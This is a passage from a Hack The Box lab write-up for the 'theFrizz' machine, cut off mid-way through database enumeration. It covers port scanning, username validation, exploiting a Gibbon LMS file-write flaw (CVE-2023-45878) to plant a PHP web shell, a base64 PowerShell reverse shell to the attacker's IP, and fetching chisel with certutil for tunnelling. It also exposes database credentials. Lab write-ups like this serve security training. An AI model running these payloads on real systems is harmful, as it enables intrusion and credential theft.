HTB – theFrizz

HTB – theFrizz

by | Aug 1, 2025 | Writeups

https://www.hackthebox.com/machines/TheFrizz

Reconnaissance

nmap/TCP

nmap detected a bunch of open ports which is typical for a Domain Controller:

croc@hacker$ rustscan -a 10.10.11.60 --ulimit 5000 -- -A -T5 -oA Initial  
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.60:22
Open 10.10.11.60:53
Open 10.10.11.60:80
Open 10.10.11.60:88
Open 10.10.11.60:135
Open 10.10.11.60:139
Open 10.10.11.60:389
Open 10.10.11.60:445
Open 10.10.11.60:464
Open 10.10.11.60:593
Open 10.10.11.60:636
Open 10.10.11.60:3268
Open 10.10.11.60:3269
Open 10.10.11.60:49668
Open 10.10.11.60:49670
Open 10.10.11.60:49664
Open 10.10.11.60:56803
Open 10.10.11.60:56807
Open 10.10.11.60:56817
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -oA Initial -vvv -p 22,53,80,88,135,139,389,445,464,593,636,3268,3269,49668,49670,49664,56803,56807,56817 10.10.11.60

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 05:58 EDT
Nmap scan report for 10.10.11.60
Host is up, received echo-reply ttl 127 (0.25s latency).
Scanned at 2025-03-21 05:59:14 EDT for 123s

PORT      STATE SERVICE       REASON          VERSION
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Education — Walkerville Elementary School
|_Requested resource was http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-21 16:59:26Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
56803/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
56807/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
56817/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).

Uptime guess: 0.038 days (since Fri Mar 21 05:07:11 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=255 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 21203/tcp): CLEAN (Failed to receive data)
|   Check 2 (port 49016/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 49509/udp): CLEAN (Timeout)
|   Check 4 (port 31256/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   238.21 ms 10.10.14.1
2   238.47 ms 10.10.11.60

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.54 seconds
           Raw packets sent: 107 (8.392KB) | Rcvd: 53 (3.060KB)

The hostname of the box is FRIZZDC so I added FRIZZDC.frizz.htb and frizz.htb into the hosts file.

croc@hacker$ sudo sed -i '$a10.10.11.60\tFRIZZDC.frizz.htb frizz.htb' etc/hosts

LDAP – 389/TCP

Anonymous LDAP lookup failed, need a valid credential.

croc@hacker$ ldapsearch -x -H ldap://frizzdc.frizz.htb -D '' -w '' -b 'DC=frizz,DC=htb'
# extended LDIF
#
# LDAPv3
# base <DC=frizz,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CB6, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4f7c

# numResponses: 1

SMB – 445/TCP

No luck with null authentication. A STATUS_NOT_SUPPORTED error appears indicating that the type of authentication mechanism being used is not supported.

croc@hacker$ nxc smb frizzdc.frizz.htb -u '' -p '' --shares
SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60\: STATUS_NOT_SUPPORTED 
SMB         10.10.11.60     445    10.10.11.60      [-] IndexError: list index out of range
SMB         10.10.11.60     445    10.10.11.60      [-] Error enumerating shares: Error occurs while reading from remote(104)
                                                                                                      
croc@hacker$ nxc smb frizzdc.frizz.htb -u 'guest' -p '' --shares
SMB         10.10.11.60     445    10.10.11.60      [*]  x64 (name:10.10.11.60) (domain:10.10.11.60) (signing:True) (SMBv1:False)
SMB         10.10.11.60     445    10.10.11.60      [-] 10.10.11.60\guest: STATUS_NOT_SUPPORTED

💡 Think Box

From here, my next go-to is HTTP(80) where an Apache Web Server is running. I will start by checking out the functionality of the site and try to understand the business logic.

HTTP – 80/TCP

Main Page

The IP address of the box, 10.10.11.60 redirected to frizzdc.frizz.htb/home. This looks like a school website for the Walkerville Elementary School.

The following looks like base64 encoded text which may be interesting.

ChatGPT decoded it for me and it says:

Want to learn hacking but don't want to go to jail? You'll learn the in's and outs of Syscalls and XSS from the safety of international waters and iron clad contracts from your customers, reviewed by Walkerville s finest attorneys.

Staff Login – Gibbon LMS

On the Staff Login Page, I found out that the Gibbon LMS v25.0.00 is in use which is an open-source learning management system designed for educational institutions.

Read the Notice carefully:

*NOTICE** Due to unplanned Pentesting by students, WES is migrating applications and tools to stronger security protocols. During this transition, Ms. Fiona Frizzle will be migrating Gibbon to utilize our Azure Active Directory SSO. Please note this might take 48 hours where your accounts will not be available. Please bear with us, and thank you for your patience. Anything that can not utilize Azure AD will use the strongest available protocols such as Kerberos.

💡 Think Box

First, we have a name that might help us guess a username. Second, I suspect NTLM authentication is disabled on this machine. Third, knowing the exact Gibbon version allows us to search for relevant CVEs.

Forgot Password

On the Forgot Password page, we have username validation. Following is a failed attempt where the email address tried doesn’t exist.

On the other hand, trying out a bunch of different combinations for Ms. Fiona Frizzle i.e. Firstinitial Lastname or firstname.lastname, I found a valid username of f.frizzle@frizz.htb:

I indeed verified that using kerbrute as well:

croc@hacker$ echo "f.frizzle" > kerb

croc@hacker$ kerbrute userenum -d frizz.htb --dc 10.10.11.60 -o kerbrute.log ./kerb    

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 03/22/25 - Ronnie Flathers @ropnop

2025/03/22 13:43:16 >  Using KDC(s):
2025/03/22 13:43:16 >  	10.10.11.60:88

2025/03/22 13:43:16 >  [+] VALID USERNAME:	 f.frizzle@frizz.htb
2025/03/22 13:43:16 >  Done! Tested 1 usernames (1 valid) in 0.417 seconds

💡 Think Box

Keep that intel in your back pocket for now…. At this point, I have tested all the clickable areas of the website and understood the underlying functionality. Thus, we’re done with the Happy Path Testing & it’s time to move on to Unhappy Path Testing.

CVEs Enumeration – Gibbon v25.0.0

Initially, I looked for exploits for Gibbon v25.0.0 & found a LFI exploit but that turned out to be a rabbit hole as I didn’t find anything useful in gibbon.sql file with that.

After that, I decided to look for vulnerabilities in higher versions and found two of them:

NVD – CVE-2023-45878
nvd.nist.gov

Gibbon LMS < v26.0.00 – Authenticated RCE – PHP webapps Exploit
Gibbon LMS < v26.0.00 – Authenticated RCE.. webapps exploit for PHP platform
www.exploit-db.com

The latter one is an authenticated RCE. Since we don’t have valid credentials yet, let’s set it aside for now and focus on the other exploit.

Gibbon v25.0.1 – Arbitrary File Write(CVE-2023-45878)

This allows unauthenticated users to upload arbitrary files and eventually gain remote code execution on the underlying system.

usd-2023-0025 – usd HeroLab
Advisory ID: usd-2023-0025 (CVE-2023-45878) | Product: Gibbon Edu | Vulnerability Type: Arbitrary File Write (CWE-434)
herolab.usd.de

Using this PoC, I uploaded the payload <?php echo system($_GET['cmd'])?> to the file croc.php on the server. Below is the POST request and the response:

REQUEST:

Note that the base installation directory of Gibbon in our scenario is Gibbon-LMS as seen in the URL here.

POST /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php HTTP/1.1
Host: frizzdc.frizz.htb
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 105

img=image/png;croc,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=croc.php&gibbonPersonID=0000000001

💡 Point to Ponder

1. Content-Type: application/x-www-form-urlencoded was added in the request headers to instruct the proper parsing of data at the backend.

2. PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b is base64 encoded form of the above mentioned PHP payload.

RESPONSE:

HTTP/1.1 200 OK
Date: Sat, 22 Mar 2025 17:35:34 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Set-Cookie: G60fa1cd0af7be78b=la8egvbremc6h0jpv0g425bu8h; path=/; HttpOnly; SameSite=Lax
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Expires: Thu, 1 Jan 1970 00:00:00 GMT
Content-Length: 8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

croc.php

The payload file has been successfully uploaded to the server.

And, just like that, we have Remote Code Execution(RCE) here:

Shell as w.webservice

Payload Generation

I used revshells.com in order to generate the following base64 encoded powershell reverse shell payload.

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgAzADkAIgAsADgAOAA4ADgAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Reverse Shell

I sent the powershell payload as a parameter which upon execution will return us a reverse shell.

And, here is our shell:

croc@hacker$ nc -nvlp 8888
listening on [any] 8888 ...
connect to [10.10.14.104] from (UNKNOWN) [10.10.11.60] 55731

PS C:\xampp\htdocs\Gibbon-LMS>

Further Enumeration

System Information 

PS C:\xampp\htdocs\Gibbon-LMS> systeminfo

Host Name:                 FRIZZDC
OS Name:                   Microsoft Windows Server 2022 Datacenter
OS Version:                10.0.20348 N/A Build 20348
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Primary Domain Controller
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                00454-70295-72962-AA557
Original Install Date:     10/29/2024, 9:13:01 AM
System Boot Time:          4/25/2025, 10:01:14 AM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 11/12/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     4,095 MB
Available Physical Memory: 2,587 MB
Virtual Memory: Max Size:  4,095 MB
Virtual Memory: Available: 2,529 MB
Virtual Memory: In Use:    1,566 MB
Page File Location(s):     N/A
Domain:                    frizz.htb
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: vmxnet3 Ethernet Adapter
                                 Connection Name: Ethernet0 2
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.11.60
                                 [02]: fe80::ea33:d9de:c23b:2a80
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

Domain Users

PS C:\xampp\htdocs\Gibbon-LMS> Get-ADUser -Filter * -Properties DisplayName | Select-Object SamAccountName

SamAccountName
--------------
Administrator 
Guest         
krbtgt        
f.frizzle     
w.li          
h.arm         
M.SchoolBus   
d.hudson      
k.franklin    
l.awesome     
t.wright      
r.tennelli    
J.perlstein   
a.perlstein   
p.terese      
v.frizzle     
g.frizzle     
c.sandiego    
c.ramon       
m.ramon       
w.Webservice

Domain Groups

PS C:\xampp\htdocs\Gibbon-LMS> Get-ADGroup -Filter * | % { $g=$_.Name; $m=Get-ADGroupMember $_ -EA 0; if ($m) { "`n$g`n" + ('-'*$g.Length); $m | % Name } }

Administrators
--------------
v.frizzle
Domain Admins
Enterprise Admins
Administrator

Users
-----
Domain Users
Authenticated Users
INTERACTIVE

Guests
------
Domain Guests
Guest

IIS_IUSRS
---------
IUSR

Remote Management Users
-----------------------
M.SchoolBus
f.frizzle

Domain Controllers
------------------
FRIZZDC

Schema Admins
-------------
Administrator

Enterprise Admins
-----------------
Administrator

Domain Admins
-------------
Administrator
v.frizzle

Domain Users
------------
Administrator
krbtgt
f.frizzle
w.li
h.arm
M.SchoolBus
d.hudson
k.franklin
l.awesome
t.wright
r.tennelli
J.perlstein
a.perlstein
p.terese
v.frizzle
g.frizzle
c.sandiego
c.ramon
m.ramon
w.Webservice

Domain Guests
-------------
Guest

Group Policy Creator Owners
---------------------------
Administrator
Desktop Admins

Pre-Windows 2000 Compatible Access
----------------------------------
Authenticated Users

Windows Authorization Access Group
----------------------------------
ENTERPRISE DOMAIN CONTROLLERS

Denied RODC Password Replication Group
--------------------------------------
Read-only Domain Controllers
Group Policy Creator Owners
Domain Admins
Cert Publishers
Enterprise Admins
Schema Admins
Domain Controllers
krbtgt

Desktop Admins
--------------
M.SchoolBus

Interesting Files

A configuration file named config.php was spotted under the base installation directory of gibbon:

PS C:\xampp\htdocs\Gibbon-LMS> dir


    Directory: C:\xampp\htdocs\Gibbon-LMS


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----         1/20/2023   6:04 AM                i18n                                                                 
d-----         1/20/2023   6:04 AM                installer                                                            
d-----         1/20/2023   6:04 AM                lib                                                                  
d-----         1/20/2023   6:04 AM                modules                                                              
d-----         1/20/2023   6:04 AM                resources                                                            
d-----         1/20/2023   6:04 AM                src                                                                  
d-----         1/20/2023   6:04 AM                themes                                                               
d-----         3/22/2025   6:46 PM                uploads                                                              
d-----         1/20/2023   6:04 AM                vendor                                                               
-a----         1/20/2023   6:04 AM            634 .htaccess                                                            
-a----         1/20/2023   6:04 AM         197078 CHANGEDB.php                                                         
-a----         1/20/2023   6:04 AM         103023 CHANGELOG.txt                                                        
-a----         1/20/2023   6:04 AM           2972 composer.json                                                        
-a----         1/20/2023   6:04 AM         294353 composer.lock                                                        
-a----        10/11/2024   8:15 PM           1307 config.php                                                           
-a----         1/20/2023   6:04 AM           3733 error.php                                                            
-a----         1/20/2023   6:04 AM           1608 export.php                                                           
-a----         1/20/2023   6:04 AM          32988 favicon.ico                                                          
-a----         1/20/2023   6:04 AM           2277 fullscreen.php                                                       
-a----         1/20/2023   6:04 AM          57535 functions.php                                                        
-a----         1/20/2023   6:04 AM           5610 gibbon.php                                                           
-a----        10/29/2024   7:27 AM         493211 gibbon.sql                                                           
-a----         1/20/2023   6:04 AM        1254473 gibbon_demo.sql                                                      
-a----         1/20/2023   6:04 AM          31228 index.php                                                            
-a----         1/20/2023   6:04 AM           2356 indexExport.php                                                      
-a----         1/20/2023   6:04 AM            813 indexFindRedirect.php                                                
-a----         1/20/2023   6:04 AM          12327 index_fastFinder_ajax.php                                            
-a----         1/20/2023   6:04 AM           2579 index_notification_ajax.php                                          
-a----         1/20/2023   6:04 AM           2767 index_notification_ajax_alarm.php                                    
-a----         1/20/2023   6:04 AM           1690 index_notification_ajax_alarmConfirmProcess.php                      
-a----         1/20/2023   6:04 AM           1647 index_notification_ajax_alarmProcess.php                             
-a----         1/20/2023   6:04 AM           1245 index_notification_ajax_alarm_tickUpdate.php                         
-a----         1/20/2023   6:04 AM           2142 index_parentPhotoDeleteProcess.php                                   
-a----         1/20/2023   6:04 AM           3549 index_parentPhotoUploadProcess.php                                   
-a----         1/20/2023   6:04 AM           2046 index_tt_ajax.php                                                    
-a----         1/20/2023   6:04 AM            753 keepAlive.php                                                        
-a----         1/20/2023   6:04 AM          35113 LICENSE                                                              
-a----         1/20/2023   6:04 AM           7589 login.php                                                            
-a----         1/20/2023   6:04 AM           1263 logout.php                                                           
-a----         1/20/2023   6:04 AM           3905 notifications.php                                                    
-a----         1/20/2023   6:04 AM           2110 notificationsActionProcess.php

This file revealed a set of database credential – MrGibbonsDB / MisterGibbs!Parrot!?1.

PS C:\xampp\htdocs\Gibbon-LMS> Get-Content config.php
<?php
/*
Gibbon, Flexible & Open School System
Copyright (C) 2010, Ross Parker

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program.  If not, see <http://www.gnu.org/licenses/>.
*/

/**
 * Sets the database connection information.
 * You can supply an optional $databasePort if your server requires one.
 */
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

/**
 * Sets a globally unique id, to allow multiple installs on a single server.
 */
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';

/**
 * Sets system-wide caching factor, used to balance performance and freshness.
 * Value represents number of page loads between cache refresh.
 * Must be positive integer. 1 means no caching.
 */
$caching = 10;

Gibbon LMS uses mysql as its database backend according to its documentation:

System Requirements | Gibbon Documentation
The Free, Flexible, Open Source School Software
docs.gibbonedu.org

💡 Think Box

As we know that Gibbon utilizes mysql as its backend database, it’s worth checking whether mysql is running as a service here or not.

Non-default Running Services

The following command shows all the running services other than the default ones. As per our expectation, mysql is running as a service here:

PS C:\xampp\htdocs\Gibbon-LMS> Get-CimInstance -ClassName Win32_Service | Where-Object { $_.State -eq 'Running' -and $_.PathName -notlike 'C:\Windows\System32*' } | Select-Object Name, StartName, PathName | Sort-Object Name | Format-List


Name      : ADWS
StartName : LocalSystem
PathName  : C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe

Name      : Apache2.4
StartName : w.webservice@frizz.htb
PathName  : "C:\xampp\apache\bin\httpd.exe" -k runservice

Name      : LSM
StartName : 
PathName  : 

Name      : mysql
StartName : w.webservice@frizz.htb
PathName  : C:\xampp\mysql\bin\mysqld --defaults-file=C:\xampp\mysql\bin\my.ini mysql

Name      : VGAuthService
StartName : LocalSystem
PathName  : "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"

Name      : VMTools
StartName : LocalSystem
PathName  : "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"

According to the mysql configuration file in-use here, it is utilizing the default port of 3306/tcp:

PS C:\xampp\htdocs\Gibbon-LMS> Get-Content C:\xampp\mysql\bin\my.ini
# Example MySQL config file for small systems.
#
# This is for a system with little memory (<= 64M) where MySQL is only used
# from time to time and it's important that the mysqld daemon
# doesn't use much resources.
#
# You can copy this file to
# C:/xampp/mysql/bin/my.cnf to set global options,
# mysql-data-dir/my.cnf to set server-specific options (in this
# installation this directory is C:/xampp/mysql/data) or
# ~/.my.cnf to set user-specific options.
#
# In this file, you can use all long options that a program supports.
# If you want to know which options a program supports, run the program
# with the "--help" option.

# The following options will be passed to all MySQL clients
[client]
# password       = your_password 
port=3306
socket="C:/xampp/mysql/mysql.sock"
....

We can indeed verify that mysql is actively listening for incoming connections on 3306:

PS C:\xampp\htdocs\Gibbon-LMS> netstat -ano | findstr 3306
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       2528
  TCP    [::]:3306              [::]:0                 LISTENING       2528
  UDP    0.0.0.0:63306          *:*                                    1152

🚀Way Forward

Now, in order to access this port from our attack box, we need to do some port forwarding.

Port Forwarding – Chisel

You might be asking, Why Chisel?? Chisel is the most viable option in this scenario as it can operate without SSH access to the target.

Transfer to the Target

You can download the Windows version of chisel using the following commands:

wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz
gzip -d chisel_1.10.1_windows_amd64.gz

After that, transfer it to the target using certutil.exe:

PS C:\xampp\htdocs\Gibbon-LMS> certutil.exe -f -urlcache -split http://10.10.14.239/chisel_1.10.1_windows_amd64 chisel_1.10.1_windows_amd64.exe
****  Online  ****
  000000  ...
  94f000
CertUtil: -URLCache command completed successfully.

Start the Server

Our aim is to do a remote port forwarding setup. Hence, we should run the chisel server on our attack box:

croc@hacker$ chisel server --socks5 --reverse -p 9090
2025/04/23 05:47:27 server: Reverse tunnelling enabled
2025/04/23 05:47:27 server: Fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8=
2025/04/23 05:47:27 server: Listening on http://0.0.0.0:9090

Connect Back..

We are going to connect back to our chisel server as a client and forward the port 3306/tcp on the target to 33061/tcp on our attack box.

PS C:\xampp\htdocs\Gibbon-LMS> ./chisel_1.10.1_windows_amd64.exe client --fingerprint 5T1NL2qs/AbOUmxRyvy0ZdLv0aoTYeztTYHFtR7U5H8= 10.10.14.239:9090 R:33061:127.0.0.1:3306

Our tunnel has been established as seen below:

We can indeed verify it as well as we have an active connection:

croc@hacker$ ss -tulpn | grep 33061
tcp   LISTEN 0      4096                                  *:33061            *:*    users:(("chisel",pid=52843,fd=7))

Connect using mysql

Now, we can connect to the database using the credentials we already have:

croc@hacker$ mysql -h 127.0.0.1 -P 33061 -u MrGibbonsDB -p'MisterGibbs!Parrot!?1' --skip-ssl
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 1219
Server version: 10.4.32-MariaDB mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

--skip-ssl is used to bypass encryption checks which were causing an error.

Shell as f.frizzle

Database Enumeration

I went off by listing the databases and selected the gibbon database. 

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gibbon             |
| information_schema |
| test               |
+--------------------+
3 rows in set (0.347 sec)

MariaDB [(none)]> use gibbon;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

After that, upon listing the tables, I was bombarded with 191 entries. That’s exhausting, right? So, what I did instead is modify my SQL query to only return tables that have rows greater than 0. It’s much better now!

MariaDB [gibbon]> select table_name, table_rows from information_schema.tables where table_schema = 'gibbon' AND table_rows > 0;
+-------------------------------+------------+
| table_name                    | table_rows |
+-------------------------------+------------+
| gibbonaction                  |        357 |
| gibbonactivity                |         99 |
| gibbonactivityslot            |         95 |
| gibbonactivitystaff           |        244 |
| gibbonalertlevel              |          3 |
| gibbonattendancecode          |          6 |
| gibboncountry                 |        240 |
| gibboncourse                  |        126 |
| gibboncourseclass             |        242 |
| gibboncourseclassperson       |       3764 |
| gibbondaysofweek              |          7 |
| gibbondepartment              |         13 |
| gibbondepartmentstaff         |        167 |
| gibbonemailtemplate           |         14 |
| gibbonexternalassessment      |          3 |
| gibbonexternalassessmentfield |        128 |
| gibbonfamily                  |        738 |
| gibbonfamilyadult             |       1448 |
| gibbonfamilychild             |        910 |
| gibbonfileextension           |         45 |
| gibbonfinancefeecategory      |          5 |
| gibbonformfield               |        104 |
| gibbonformgroup               |         19 |
| gibbonformpage                |          5 |
| gibbonhouse                   |          3 |
| gibboni18n                    |         46 |
| gibbonindescriptor            |          3 |
| gibbonlanguage                |         83 |
| gibbonlibraryitem             |         11 |
| gibbonlibrarytype             |          8 |
| gibbonlog                     |         17 |
| gibbonmedicalcondition        |         27 |
| gibbonmessenger               |         14 |
| gibbonmessengertarget         |         42 |
| gibbonmodule                  |         25 |
| gibbonnotificationevent       |         35 |
| gibbonoutcome                 |          9 |
| gibbonpermission              |        482 |
| gibbonperson                  |          1 |
| gibbonpersonaldocumenttype    |          5 |
| gibbonplannerentry            |          5 |
| gibbonreportingcriteriatype   |          2 |
| gibbonresource                |          6 |
| gibbonresourcetag             |         35 |
| gibbonrole                    |          5 |
| gibbonrubriccell              |         54 |
| gibbonrubriccolumn            |          6 |
| gibbonrubricrow               |          9 |
| gibbonscale                   |         14 |
| gibbonscalegrade              |        329 |
| gibbonschoolyear              |          2 |
| gibbonschoolyearterm          |          6 |
| gibbonsession                 |         18 |
| gibbonsetting                 |        313 |
| gibbonspace                   |         60 |
| gibbonstaff                   |        166 |
| gibbonstaffabsencetype        |          4 |
| gibbonstudentenrolment        |        391 |
| gibbonstudentnotecategory     |          4 |
| gibbonttcolumn                |          5 |
+-------------------------------+------------+
60 rows in set (0.306 sec)

Looking up on Google for tables where the personal information of users might be stored, I found this forum where they state gibbonPerson table to be the one.

Some data is missing – Security – Gibbon Support Forum
OK, the title is a bit scary for you gibbon developers, I know but… I want to assure my school team leaders and managers that this system is safe and secure. So, I would like to point them to all the locations of the d…
ask.gibbonedu.org

Let’s see the structure of the gibbonPerson table:

MariaDB [gibbon]> DESC gibbonPerson;
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
| Field                     | Type                                                  | Null | Key | Default     | Extra          |
+---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+
